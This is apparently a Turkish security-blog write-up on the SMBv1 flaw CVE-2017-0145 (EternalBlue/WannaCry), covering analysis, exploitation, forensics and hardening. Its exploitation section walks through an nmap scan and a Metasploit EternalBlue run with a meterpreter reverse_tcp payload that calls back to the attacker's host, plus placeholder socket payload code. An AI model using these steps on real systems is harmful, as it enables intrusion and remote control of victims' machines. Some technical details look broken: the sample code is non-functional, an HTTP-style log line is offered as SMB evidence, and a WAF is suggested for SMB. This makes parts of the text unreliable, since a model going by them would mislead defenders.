CVE-2017-0145 · Bilgilendirme

Microsoft SMBv1 Remote Code Execution Vulnerability

CVE-2017-0145, SMBv1 sunucusundaki zafiyetle uzaktan kod yürütme riski taşıyan kritik bir güvenlik açığıdır.

Üretici
Microsoft
Ürün
SMBv1
Seviye
yüksek
Yayın Tarihi
05 Nisan 2026
Okuma
9 dk okuma

CVE-2017-0145: Microsoft SMBv1 Remote Code Execution Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2017-0145, Microsoft’un SMBv1 (Server Message Block versiyon 1) protokolünde bulunan bir uzaktan kod yürütme (RCE - Remote Code Execution) zafiyetidir. Bu zafiyet, Microsoft'un Windows işletim sistemlerinin birden fazla sürümünde mevcuttur ve uzaktan saldırganların, özel olarak hazırlanmış paketler göndererek sistemde rastgele kod çalıştırmasına olanak tanımaktadır. 2017'de Microsoft, bu güvenlik açığını ve onu istismar etmenin potansiyel etkileşimlerini kamuoyuna duyurduktan sonra, dünya genelinde büyük bir endişe yarattı.

CVE-2017-0145’in en çarpıcı yönlerinden biri, WannaCry fidye yazılımı ile yaptığı etkileşimdir. WannaCry, bu zafiyeti kullanarak hızla dünya çapında yayılarak kritik altyapılara büyük zarar vermiştir. Hastaneler, okullar ve üretim tesisleri gibi birçok sektör, bu saldırıdan doğrudan etkilenmiştir. Örneğin, NHS (National Health Service) gibi sağlık kuruluşları, sistemlerinin kilitlenmesi ve hasta kayıtlarına erişimin kaybedilmesi nedeniyle büyük sorunlar yaşamıştır.

Zafiyetin teknik detaylarına inildiğinde, SMBv1 protokolü üzerinden bir buffer overflow (tampon taşması) hatası olduğu görülecektir. Bu hata, veri paketlerinin beklenmedik bir şekilde işlenmesi sırasında meydana gelir. Saldırganlar, özel olarak hazırlanmış bir SMB paketi aracılığıyla, hedef sistemin bellek alanına daha fazla veri yazabilmekte ve bu veri üzerinden kontrol elde edebilmekte veya hedef sistemde rastgele kod çalıştırabilmektedir. Örneğin, aşağıdaki örnek kod, basit bir SMB paketinin nasıl oluşturulabileceğine dair bir fikir vermektedir:

import socket

# SMB paketi oluşturma
smb_packet = b'\x00\x00\x00\x00'  # Örnek bir SMB paketi

# Hedef IP adresi ve port
target_ip = '192.168.1.1'
target_port = 445

# Soket oluşturma ve paketi gönderme
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(smb_packet)
sock.close()

Bu kadar basit gibi görünen bir paketin, büyük bir siber saldırıya dönüşmesi bir anda gerçekleşebilir. Özellikle SMBv1 protokolünün artık güncelliğini yitirmiş bir versiyon olması da durumu daha kritik hale getirmiştir. Dünya genelinde birçok kuruluş, eski sürüm SMB protokollerini kullanarak güvenlik duvarlarını aşmayı ve veri sızıntılarına yol açmayı kolaylaştırmıştır.

Zafiyetin etkilediği başlıca sektörler arasında sağlık, finans, eğitim, enerji ve üretim alanları yer almaktadır. Bu sektörlerin her biri, sahip olduğu verilerin ve sistemlerin güvenliği için SMB protokolünü kullanmaktadır. Özellikle bu sektörlerdeki kurumlar, hem müşterilere hizmet verme kabiliyetlerini kaybetmişler hem de önemli veri kayıpları yaşamıştır. Eğitim kurumları, öğrenci verilerinin kaybı ve derslere erişim kısıtlamaları gibi sorunlarla karşılaşmıştır.

Sonuç olarak, CVE-2017-0145, siber güvenlik alanında önemli bir dönüm noktasıdır. Bu zafiyet, siber saldırganların potansiyel tehlikelerini gözler önüne sermenin yanı sıra, sistem yöneticilerine ve güvenlik profesyonellerine, güncel yazılımları kullanmanın ve düzenli yamanın önemini hatırlatmaktadır. Kuruluşların, SMBv1'in kullanımını acilen gözden geçirmesi ve gerekirse daha güvenli alternatif protokollere geçiş yapması gerekmektedir. Unutulmamalıdır ki, siber güvenlikte saldırılardan çok, bu saldırılara karşı koyma kabiliyeti başarının anahtarıdır.

Teknik Sömürü (Exploitation) ve PoC

CVE-2017-0145, Microsoft SMBv1 (Server Message Block sürüm 1) protokolünde bulunan ciddi bir uzak kod yürütme (RCE) zafiyetidir. Zafiyet, uzaktan saldırganların kötü niyetli paketler aracılığıyla sistem üzerinde yetki kazanmasına olanak tanır. Bu zafiyetin etkilediği sistemler, Windows 7, Windows Server 2008 R2 ve daha eski sürümleri içerir. Bu bölümde, bu zafiyeti nasıl sömürebileceğinize dair adım adım bir kılavuz sunacağız. Ancak, bu bilgilerin yalnızca eğitim amaçlı kullanılması gerektiğini hatırlatmak isteriz.

Zafiyetin sömürü süreci genellikle şu aşamalardan oluşur:

  1. Hedef Bilgisi Toplama: İlk olarak, hedef ağını veya sistemi analiz etmek gerekmektedir. Bunun için Nmap gibi bir araç kullanarak SMB protokolünün açık portlarını (genellikle 445 numaralı port) taramak faydalı olacaktır. Örnek bir komut:
   nmap -p 445 --script smb-vuln-ms17-010 <hedef_ip>

Yukarıdaki komut, hedef sistemin MS17-010 zafiyetine karşı duyarlılığını kontrol eder. Eğer "VULNERABLE" çıkıyorsa, hedef sistem bu zafiyetten etkileniyor demektir.

  1. Güvenlik Duvarı ve Erişim Kontrolleri: Hedef sistemin ağındaki güvenlik duvarı veya diğer erişim kontrollerinin olup olmadığını anlamak önemlidir. Bu aşamada, hedef sistemin VLAN'ında herhangi bir kısıtlama olup olmadığını değerlendirmek gerekir.

  2. Sömürü Araçları Kullanma: SMBv1 zafiyetini sömürmek için Metasploit gibi bir exploit framework kullanabilirsiniz. Aşağıdaki komut, zafiyete uygun bir payload yüklemek için kullanılacaktır:

   use exploit/windows/smb/ms17_010_eternalblue
   set RHOST <hedef_ip>
   set payload windows/x64/meterpreter/reverse_tcp
   set LHOST <kendi_ip>
   exploit

Bu komutları tamamlarken, zafiyeti aktif olarak kullanarak hedef sistem üzerinde bir meterpreter oturumu açmayı hedefliyoruz. Meterpreter, saldırganın hedef sistemde komutlar çalıştırmasına ve dosyaları yönetmesine olanak tanır.

  1. Payload (Yük) Gönderme: Zafiyet sömürüldüğünde, aşağıdaki gibi bir payload, hedef sisteme gönderilir. Bu payload, saldırganın sistem üzerinde tam kontrol sağlamasına yardımcı olur.
   import socket

   target_ip = "<hedef_ip>"
   target_port = 445

   payload = b"\x90"*100 + <kötü_niyetli_kodunuz> + b"\x90"*50

   with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
       s.connect((target_ip, target_port))
       s.send(payload)

Bu örnekte, payload, belirli bir hedefe gönderilir. Gönderilen payload, sistemi etkileyerek uzaktan kod yürütmeye olanak tanır.

  1. Erişim Sağlama ve İşlem Yapma: Eğer exploit başarılı olursa, sistem üzerinde tam erişim elde edilmiş olur. Bu süreçte, sistemde zafiyet gerektiren bir işlemi gerçekleştirebilir ve hedef sistem üzerinde istediğiniz değişiklikleri yapabilirsiniz.

Unutulmaması gereken önemli bir nokta, bu tür exploit'lerin ve bilgi parçalarının yalnızca etik sınırlar içinde kullanılabilmesi gerektiğidir. Herhangi bir sistem üzerinde izinsiz bir şekilde bu işlemleri gerçekleştirmek yasadışı ve ciddi sonuçları olan eylemlerdir. Eğitim ve güvenlik testleri bağlamında bu teknik bilgileri kullanmanızı öneririz. CyberFlow platformu gibi araçlar kullanarak, sistemlerinizi daha güvenli hale getirmenin ve bu tür zafiyetlere karşı korunmanın yollarını araştırabilirsiniz.

Forensics (Adli Bilişim) ve Log Analizi

CVE-2017-0145, Microsoft'un SMBv1 (Server Message Block versiyon 1) protokolünde bulunan ciddi bir uzaktan kod yürütme (RCE - Remote Code Execution) zafiyetidir. Bu zafiyet, saldırganların özel olarak hazırlanmış paketler aracılığıyla uzaktan sistemlerde kötü niyetli kod çalıştırmasına olanak tanır. 2017 yılında ortaya çıkan bu zafiyet, WannaCry fidye yazılımı ile geniş çapta bilinir hale gelmiştir ve hala birçok sistemde risk oluşturmaktadır.

Bir siber güvenlik uzmanı olarak, bu tür bir saldırının gerçekleştirilip gerçekleştirilmediğini tespit etmek için çeşitli adımlar atılabilir. İlk olarak, SIEM (Security Information and Event Management) sistemimizdeki kayıt dosyalarını (log) dikkatlice analiz etmemiz gerekir. Bu süreçte aşağıdaki unsurlara dikkat edilmelidir:

  1. Erişim Kayıtları (Access Logs): Erişim kayıtlarında, smbv1 protokolünü kullanan oturum açma denemeleri aramak önemlidir. Normalden farklı, sık sık başarısız oturum açma girişimleri veya tanınmayan IP adreslerinden gelen istekler, potansiyel bir saldırının habercisi olabilir. Örnek bir log girdisi şu şekilde olabilir:
   192.168.1.10 - - [12/Oct/2023:14:23:56 +0000] "POST /smb/1.0 HTTP/1.1" 200 452 "User-Agent: malicious-agent/1.0"
  1. Hata Kayıtları (Error Logs): Hata kayıtları üzerinden SMBv1 ile ilgili hataların sıklığını incelemek, zafiyetin istismar edildiğine dair belirtileri tespit edebilir. Örneğin, bellek taşmaları (Buffer Overflow) veya authentication bypass (kimlik doğrulama atlatma) hataları sıkça rapor ediliyorsa, bu tehditlerin varlığına işaret edebilir:
   [ERROR] SMBv1: Buffer overflow error in packet from 192.168.1.20
  1. Olay Kayıtları (Event Logs): Windows Olay Günlüğü'nde, SMB ile ilgili gelen ve giden bağlantıları inceleyerek herhangi bir anormal davranışı tespit edebilirsiniz. Özellikle "Event ID 5140" ve "Event ID 5145" olayları, paylaşım erişim taleplerini belirtir ve bu taleplerin normal dışı bir kullanımını gün yüzüne çıkarabilir:
   Event ID 5140: Network share object accessed from IP 192.168.1.30
  1. Ağ Trafiği Analizi: Network analiz araçları ile SMB trafiğini yakalamak ve incelemek, şifrelenmemiş SMBv1 paketlerinin içerdiği kimi anormallikleri keşfetmek için oldukça kritik olabilir. Wireshark gibi bir araçla gerçekleştirebileceğiniz bu analiz, kötü niyetli bir trafik örneğini yakalamanızı sağlar:
   Frame 1234: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
  1. İmzalar (Signatures): Özellikle zafiyet istismarına yönelik bilinen imzalara bakmak faydalı olabilir. Güvenlik yazılımlarında sıkça karşılaşılan imzalar, “Exploit:Win32/WannaCry” veya “Ransom:Win32/WannaCry” gibi adlarla anılabilir. Bu saldırıların izini sürerken, daha çok bu tür imzalara odaklanmak, hızlı tespit yapmanızı sağlayabilir.

Sonuç olarak, Azure veya başka bir bulut platformu üzerinden SMBv1 protokolünü kullanmakta ısrar eden sistemler, ciddi risk altındadır. Bu açıdan, günlük analizleri ve log incelemeleri yapmak, potansiyel tehditleri erken tespit etmenin en etkili yollarından biridir. Sistemlerde SMBv1 desteğini kapatmak ve güncel güvenlik yamalarını uygulamak da, bu tür zafiyetlere karşı alınacak en önemli önlemlerdendir.

Savunma ve Sıkılaştırma (Hardening)

CVE-2017-0145, Microsoft'un SMBv1 (Server Message Block versiyon 1) protokolündeki kritik bir zafiyettir. Bu güvenlik açığı, uzaktaki saldırganların belirli ve özel olarak oluşturulmuş paketler göndererek hedef sistemlerde uzaktan kod çalıştırmasına (Remote Code Execution - RCE) olanak tanır. Bu durum, kötü niyetli yazılımların sistemde çalıştırılması veya hassas verilerin ele geçirilmesi gibi ciddi sonuçlar doğurabilir. Özellikle Windows işletim sistemi yüklü olan birçok cihazın bu güvensizlikten etkilenmesi, zafiyetin ciddiyetini artıran bir unsurdur.

Bu açık, bir Buffer Overflow (tampon taşması) zafiyetine dayanarak çalışan bir saldırı vektörüdür. Saldırganlar, sistemin bellek yönetimini istismar ederek kontrol elde edebilirler. Örneğin, saldırganlar SMBv1 protokolünü kullanan bir sunucuya zararlı paketler gönderdiğinde, sunucu bu paketleri işlerken bellek sınırlarını aşarak istenmeyen sonuçlar doğurabilir.

Bir örnek senaryo üzerinden gidecek olursak, bir kuruluştaki ağda yer alan SMBv1 sunucusu ele geçirildiğinde, saldırgan bu sunucu aracılığıyla şirketin iç ağına sızabilir. Bu, hassas verilerin çalınması, sistemlerin değiştirilmesi veya diğer önem arz eden verilerin ele geçirilmesi ile sonuçlanabilir. Özellikle sağlık, finans veya kamu güvenliği gibi kritik sektörlerde çalışan kuruluşlar için bu durum felakete yol açabilir.

Bu tür zafiyetleri kapatmanın ve sistemleri daha güvenli hale getirmenin birkaç yolu vardır. İlk olarak, SMBv1 protokolünün kullanımının ortadan kaldırılması önerilir. Güncellemeleri ve yamaları (patch) düzenli olarak uygulamak, bilinen güvenlik açıklarına karşı koruma sağlamak açısından kritik öneme sahiptir. Microsoft, SMBv1'in devre dışı bırakılmasını öneren çeşitli kılavuzlar yayınlamıştır. Kuruluşlar, ağlarında SMBv2 veya SMBv3 gibi daha güvenli protokollere geçiş yaparak düşmanlarına karşı daha korunaklı hale gelebilirler.

Ayrıca, firewall (güvenlik duvarı) kurallarının sıkı bir şekilde yapılandırılması önemlidir. Alternatif olarak, web uygulama güvenlik duvarları (WAF) kullanarak kurumsal kaynakları proteger eden katmanlı bir güvenlik yaklaşımı benimsenmelidir. Örneğin, belirli protokolleri engelleyen veya sınırlandıran kurallar eklemek, ağ trafiğini izlemek ve analiz etmek, proaktif bir savunma stratejisi oluşturacaktır.

Ayrıca, kullanıcıların ve sistem yöneticilerinin farkındalıklarını artırmak için düzenli eğitimler düzenlenmelidir. Bu eğitimlerde kötü niyetli yazılım saldırıları, güvenlik açıkları ve genel siber hijyen konularında bilgi verilmelidir. Kullanıcıların, güvenlik politikalarına ve en iyi uygulamalara bağlı kalarak davranış gösterme yetenekleri, organizasyonun güvenliğini önemli ölçüde artıracaktır.

Son olarak, kalıcı sıkılaştırma (hardening) önerileri arasında, sistem yapılandırmalarının gözden geçirilmesi ve gereksiz hizmetlerin devre dışı bırakılması da bulunmaktadır. Örneğin, Windows sistemlerde kullanılmayan SMB versiyonlarının kapatılması, gereksiz açık portların (özellikle 445 numaralı port) kontrol edilmesi ve bu portların dışa kapatılması gibi önlemler, siber tehditlere karşı koruma sağlamaktadır.

Bütün bu adımlar, CVE-2017-0145 gibi zafiyetlerin etkilerini minimize etmek ve siber güvenlik açısından daha sağlam bir altyapı oluşturmak için gerekli olan teknik önlemlerdir. Kuruluşlar, bu önlemleri almadan mevcut durumu göz ardı ettiklerinde, ciddi güvenlik tehditleriyle karşı karşıya kalacaklardır.